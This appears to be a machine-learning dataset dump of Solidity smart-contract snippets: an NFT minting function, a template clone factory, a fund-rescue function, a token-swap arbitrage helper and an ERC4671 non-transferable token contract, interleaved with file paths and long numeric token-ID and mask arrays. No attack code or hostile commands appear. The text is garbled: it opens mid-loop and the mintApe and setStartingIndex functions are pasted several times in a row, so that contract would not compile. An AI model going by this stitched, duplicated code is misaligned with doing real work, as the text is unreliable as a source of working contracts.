0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_APES) { _safeMint(msg.sender, mintIndex); } } if (startingIndexBlock == 0 && (totalSupply() == MAX_APES || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function mintApe(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Ape"); require(numberOfTokens <= maxApePurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_APES, "Purchase would exceed max supply of Apes"); require(apePrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_APES) { _safeMint(msg.sender, mintIndex); } } if (startingIndexBlock == 0 && (totalSupply() == MAX_APES || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function mintApe(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Ape"); require(numberOfTokens <= maxApePurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_APES, "Purchase would exceed max supply of Apes"); require(apePrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_APES) { _safeMint(msg.sender, mintIndex); } } if (startingIndexBlock == 0 && (totalSupply() == MAX_APES || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function mintApe(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Ape"); require(numberOfTokens <= maxApePurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_APES, "Purchase would exceed max supply of Apes"); require(apePrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_APES) { _safeMint(msg.sender, mintIndex); } } if (startingIndexBlock == 0 && (totalSupply() == MAX_APES || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function setStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_APES; if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number - 1)) % MAX_APES; } if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } function setStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_APES; if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number - 1)) % MAX_APES; } if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } function setStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_APES; if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number - 1)) % MAX_APES; } if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } function emergencySetStartingIndexBlock() public onlyOwner { require(startingIndex == 0, "Starting index is already set"); startingIndexBlock = block.number; } }
787,827
[ 1, 38, 7653, 37, 347, 61, 497, 88, 2009, 373, 6835, 225, 6419, 5839, 4232, 39, 27, 5340, 3858, 17, 42, 20651, 1523, 3155, 8263, 5337, 4471, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 7653, 37, 347, 61, 497, 88, 2009, 373, 353, 4232, 39, 27, 5340, 3572, 25121, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 533, 1071, 605, 5255, 39, 67, 3373, 58, 1157, 4722, 273, 1408, 31, 203, 203, 565, 2254, 5034, 1071, 5023, 1016, 1768, 31, 203, 203, 565, 2254, 5034, 1071, 5023, 1016, 31, 203, 203, 203, 565, 2254, 1071, 5381, 943, 37, 347, 23164, 273, 4200, 31, 203, 203, 565, 2254, 5034, 1071, 4552, 67, 37, 1423, 55, 31, 203, 203, 565, 1426, 1071, 272, 5349, 2520, 3896, 273, 629, 31, 203, 203, 565, 2254, 5034, 1071, 2438, 3412, 1013, 67, 17201, 31, 203, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 24, 31, 203, 565, 3885, 12, 1080, 3778, 508, 16, 533, 3778, 3273, 16, 2254, 5034, 943, 50, 1222, 3088, 1283, 16, 2254, 5034, 272, 5349, 1685, 13, 4232, 39, 27, 5340, 12, 529, 16, 3273, 13, 288, 203, 3639, 4552, 67, 37, 1423, 55, 273, 943, 50, 1222, 3088, 1283, 31, 203, 3639, 2438, 3412, 1013, 67, 17201, 273, 272, 5349, 1685, 397, 261, 28, 1105, 713, 380, 2468, 1769, 203, 565, 289, 203, 203, 565, 445, 598, 9446, 1435, 1071, 8843, 429, 1338, 5541, 288, 203, 3639, 2254, 11013, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 3639, 8843, 429, 12, 3576, 18, 15330, 2934, 13866, 12, 12296, 1769, 203, 565, 289, 203, 203, 565, 445, 20501, 1294, 281, 1435, 1071, 1338, 5541, 288, 540, 203, 3639, 2 ]
./partial_match/1/0x812DD6988CA35BE1BA27095d90864298722f915A/sources/contracts/soma/TemplateFactory/TemplateFactory.sol
* @inheritdoc ITemplateFactory/
function cloneTemplate(bytes32 templateId, uint256 _version, bytes[] memory functionCalls, bytes32 salt) external override nonReentrant returns (address instance) { Template storage tpl = _template[templateId]; address implementation = _validateTemplateVersion(tpl, _version).implementation; _validateCloneSalt(implementation, salt); _validateDeployRole(tpl.deployRole, _msgSender()); require(implementation != address(0), "TemplateFactory: implementation or version does not exist"); instance = Clones.cloneDeterministic(implementation, salt); _registerInstance(templateId, _version, instance, "", functionCalls, true); emit TemplateCloned(instance, templateId, _version, functionCalls, _msgSender()); }
3,979,157
[ 1, 36, 10093, 467, 2283, 1733, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3236, 2283, 12, 3890, 1578, 1542, 548, 16, 2254, 5034, 389, 1589, 16, 1731, 8526, 3778, 445, 10125, 16, 1731, 1578, 4286, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1135, 261, 2867, 791, 13, 203, 565, 288, 203, 3639, 5035, 2502, 6940, 273, 389, 3202, 63, 3202, 548, 15533, 203, 3639, 1758, 4471, 273, 389, 5662, 2283, 1444, 12, 10933, 16, 389, 1589, 2934, 30810, 31, 203, 203, 3639, 389, 5662, 10930, 19290, 12, 30810, 16, 4286, 1769, 203, 3639, 389, 5662, 10015, 2996, 12, 10933, 18, 12411, 2996, 16, 389, 3576, 12021, 10663, 203, 203, 3639, 2583, 12, 30810, 480, 1758, 12, 20, 3631, 315, 2283, 1733, 30, 4471, 578, 1177, 1552, 486, 1005, 8863, 203, 203, 3639, 791, 273, 3905, 5322, 18, 14056, 9139, 5846, 12, 30810, 16, 4286, 1769, 203, 203, 3639, 389, 4861, 1442, 12, 3202, 548, 16, 389, 1589, 16, 791, 16, 23453, 445, 10125, 16, 638, 1769, 203, 203, 3639, 3626, 5035, 2009, 8184, 12, 1336, 16, 1542, 548, 16, 389, 1589, 16, 445, 10125, 16, 389, 3576, 12021, 10663, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43114/0xBBa964fD0B510858f6741C5Ce01989A7d13a3406/sources/contracts/SnowGoose.sol
Recover any AVAX sent to the contract by mistake.
function rescue() external { payable(owner).transfer(address(this).balance); }
4,515,579
[ 1, 27622, 1281, 15068, 2501, 3271, 358, 326, 6835, 635, 27228, 911, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 8223, 1435, 3903, 288, 203, 3639, 8843, 429, 12, 8443, 2934, 13866, 12, 2867, 12, 2211, 2934, 12296, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xc217357dB83Edb0E6ECc45D59B8ebd4A11cb0Dec/sources/project_/contracts/Amberfi/Market.sol
Minimum auction price
uint256 private _minAuctionListingPriceUSD;
847,897
[ 1, 13042, 279, 4062, 6205, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 3238, 389, 1154, 37, 4062, 19081, 5147, 3378, 40, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x3EAf985beFc08B90c7574d1d3D65B3cE3Ab901d4/sources/browser/AyMaTrading.sol
Track the balance of the token RECEIVED from the trade Swap on AMM: give _fromToken, receive _toToken Read _toToken balance after swap Calculate how much of the token we received Swap on AMM: give _toToken, receive _fromToken
function _tradeAMMtoAMM(address[] calldata _pool, address _fromToken, address _toToken, uint256 _fromAmount, bytes calldata _1InchDataOne, bytes calldata _1InchDataTwo, uint256[] calldata _flag) internal { uint256 _beforeBalance = IERC20(_toToken).balanceOf(address(this)); bool success = _swap(_pool[0], _fromToken, _fromAmount, _1InchDataOne, _flag[0]); if (success) { uint256 _afterBalance = IERC20(_toToken).balanceOf(address(this)); uint256 _toAmount = SafeMath.sub(_afterBalance, _beforeBalance); _swap(_pool[1], _toToken, _toAmount, _1InchDataTwo, _flag[1]); return; } }
17,028,433
[ 1, 4402, 326, 11013, 434, 326, 1147, 2438, 1441, 20764, 628, 326, 18542, 12738, 603, 432, 8206, 30, 8492, 389, 2080, 1345, 16, 6798, 389, 869, 1345, 2720, 389, 869, 1345, 11013, 1839, 7720, 9029, 3661, 9816, 434, 326, 1147, 732, 5079, 12738, 603, 432, 8206, 30, 8492, 389, 869, 1345, 16, 6798, 389, 2080, 1345, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 389, 20077, 2192, 49, 869, 2192, 49, 12, 2867, 8526, 745, 892, 389, 6011, 16, 1758, 389, 2080, 1345, 16, 1758, 389, 869, 1345, 16, 2254, 5034, 389, 2080, 6275, 16, 1731, 745, 892, 389, 21, 382, 343, 751, 3335, 16, 1731, 745, 892, 389, 21, 382, 343, 751, 11710, 16, 2254, 5034, 8526, 745, 892, 389, 6420, 13, 2713, 288, 203, 202, 377, 203, 3639, 2254, 5034, 389, 5771, 13937, 273, 467, 654, 39, 3462, 24899, 869, 1345, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 540, 203, 3639, 1426, 2216, 273, 389, 22270, 24899, 6011, 63, 20, 6487, 389, 2080, 1345, 16, 389, 2080, 6275, 16, 389, 21, 382, 343, 751, 3335, 16, 389, 6420, 63, 20, 19226, 203, 1082, 203, 202, 202, 430, 261, 4768, 13, 288, 203, 5411, 2254, 5034, 389, 5205, 13937, 273, 467, 654, 39, 3462, 24899, 869, 1345, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 2398, 203, 5411, 2254, 5034, 389, 869, 6275, 273, 14060, 10477, 18, 1717, 24899, 5205, 13937, 16, 389, 5771, 13937, 1769, 203, 2398, 203, 5411, 389, 22270, 24899, 6011, 63, 21, 6487, 389, 869, 1345, 16, 389, 869, 6275, 16, 389, 21, 382, 343, 751, 11710, 16, 389, 6420, 63, 21, 19226, 203, 1082, 565, 327, 31, 203, 202, 202, 97, 203, 202, 97, 203, 202, 203, 202, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "./IERC4671.sol"; import "./IERC4671Metadata.sol"; import "./IERC4671Enumerable.sol"; abstract contract ERC4671 is IERC4671, IERC4671Metadata, IERC4671Enumerable, ERC165 { // Token data struct Token { address issuer; address owner; bool valid; } // Mapping from tokenId to token mapping(uint256 => Token) private _tokens; // Mapping from owner to token ids mapping(address => uint256[]) private _indexedTokenIds; // Mapping from token id to index mapping(address => mapping(uint256 => uint256)) private _tokenIdIndex; // Mapping from owner to number of valid tokens mapping(address => uint256) private _numberOfValidTokens; // Token name string private _name; // Token symbol string private _symbol; // Total number of tokens emitted uint256 private _emittedCount; // Total number of token holders uint256 private _holdersCount; // Contract creator address private _creator; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _creator = msg.sender; } /// @notice Count all tokens assigned to an owner /// @param owner Address for whom to query the balance /// @return Number of tokens owned by `owner` function balanceOf(address owner) public view virtual override returns (uint256) { return _indexedTokenIds[owner].length; } /// @notice Get owner of a token /// @param tokenId Identifier of the token /// @return Address of the owner of `tokenId` function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _getTokenOrRevert(tokenId).owner; } /// @notice Check if a token hasn't been revoked /// @param tokenId Identifier of the token /// @return True if the token is valid, false otherwise function isValid(uint256 tokenId) public view virtual override returns (bool) { return _getTokenOrRevert(tokenId).valid; } /// @notice Check if an address owns a valid token in the contract /// @param owner Address for whom to check the ownership /// @return True if `owner` has a valid token, false otherwise function hasValid(address owner) public view virtual override returns (bool) { return _numberOfValidTokens[owner] > 0; } /// @return Descriptive name of the tokens in this contract function name() public view virtual override returns (string memory) { return _name; } /// @return An abbreviated name of the tokens in this contract function symbol() public view virtual override returns (string memory) { return _symbol; } /// @notice URI to query to get the token's metadata /// @param tokenId Identifier of the token /// @return URI for the token function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { _getTokenOrRevert(tokenId); bytes memory baseURI = bytes(_baseURI()); if (baseURI.length > 0) { return string(abi.encodePacked( baseURI, Strings.toHexString(tokenId, 32) )); } return ""; } /// @return emittedCount Number of tokens emitted function emittedCount() public view override returns (uint256) { return _emittedCount; } /// @return holdersCount Number of token holders function holdersCount() public view override returns (uint256) { return _holdersCount; } /// @notice Get the tokenId of a token using its position in the owner's list /// @param owner Address for whom to get the token /// @param index Index of the token /// @return tokenId of the token function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { uint256[] storage ids = _indexedTokenIds[owner]; require(index < ids.length, "Token does not exist"); return ids[index]; } /// @notice Get a tokenId by it's index, where 0 <= index < total() /// @param index Index of the token /// @return tokenId of the token function tokenByIndex(uint256 index) public view virtual override returns (uint256) { return index; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC4671).interfaceId || interfaceId == type(IERC4671Metadata).interfaceId || interfaceId == type(IERC4671Enumerable).interfaceId || super.supportsInterface(interfaceId); } /// @notice Prefix for all calls to tokenURI /// @return Common base URI for all token function _baseURI() internal pure virtual returns (string memory) { return ""; } /// @notice Mark the token as revoked /// @param tokenId Identifier of the token function _revoke(uint256 tokenId) internal virtual { Token storage token = _getTokenOrRevert(tokenId); require(token.valid, "Token is already invalid"); token.valid = false; assert(_numberOfValidTokens[token.owner] > 0); _numberOfValidTokens[token.owner] -= 1; emit Revoked(token.owner, tokenId); } /// @notice Mint a new token /// @param owner Address for whom to assign the token /// @return tokenId Identifier of the minted token function _mint(address owner) internal virtual returns (uint256 tokenId) { tokenId = _emittedCount; _mintUnsafe(owner, tokenId, true); emit Minted(owner, tokenId); _emittedCount += 1; } /// @notice Mint a given tokenId /// @param owner Address for whom to assign the token /// @param tokenId Token identifier to assign to the owner /// @param valid Boolean to assert of the validity of the token function _mintUnsafe(address owner, uint256 tokenId, bool valid) internal { require(_tokens[tokenId].owner == address(0), "Cannot mint an assigned token"); if (_indexedTokenIds[owner].length == 0) { _holdersCount += 1; } _tokens[tokenId] = Token(msg.sender, owner, valid); _tokenIdIndex[owner][tokenId] = _indexedTokenIds[owner].length; _indexedTokenIds[owner].push(tokenId); if (valid) { _numberOfValidTokens[owner] += 1; } } /// @return True if the caller is the contract's creator, false otherwise function _isCreator() internal view virtual returns (bool) { return msg.sender == _creator; } /// @notice Retrieve a token or revert if it does not exist /// @param tokenId Identifier of the token /// @return The Token struct function _getTokenOrRevert(uint256 tokenId) internal view virtual returns (Token storage) { Token storage token = _tokens[tokenId]; require(token.owner != address(0), "Token does not exist"); return token; } /// @notice Remove a token /// @param tokenId Token identifier to remove function _removeToken(uint256 tokenId) internal virtual { Token storage token = _getTokenOrRevert(tokenId); _removeFromUnorderedArray(_indexedTokenIds[token.owner], _tokenIdIndex[token.owner][tokenId]); if (_indexedTokenIds[token.owner].length == 0) { assert(_holdersCount > 0); _holdersCount -= 1; } if (token.valid) { assert(_numberOfValidTokens[token.owner] > 0); _numberOfValidTokens[token.owner] -= 1; } delete _tokens[tokenId]; } /// @notice Removes an entry in an array by its index /// @param array Array for which to remove the entry /// @param index Index of the entry to remove function _removeFromUnorderedArray(uint256[] storage array, uint256 index) internal { require(index < array.length, "Trying to delete out of bound index"); if (index != array.length - 1) { array[index] = array[array.length - 1]; } array.pop(); } }
Mapping from owner to number of valid tokens
mapping(address => uint256) private _numberOfValidTokens;
5,347,785
[ 1, 3233, 628, 3410, 358, 1300, 434, 923, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
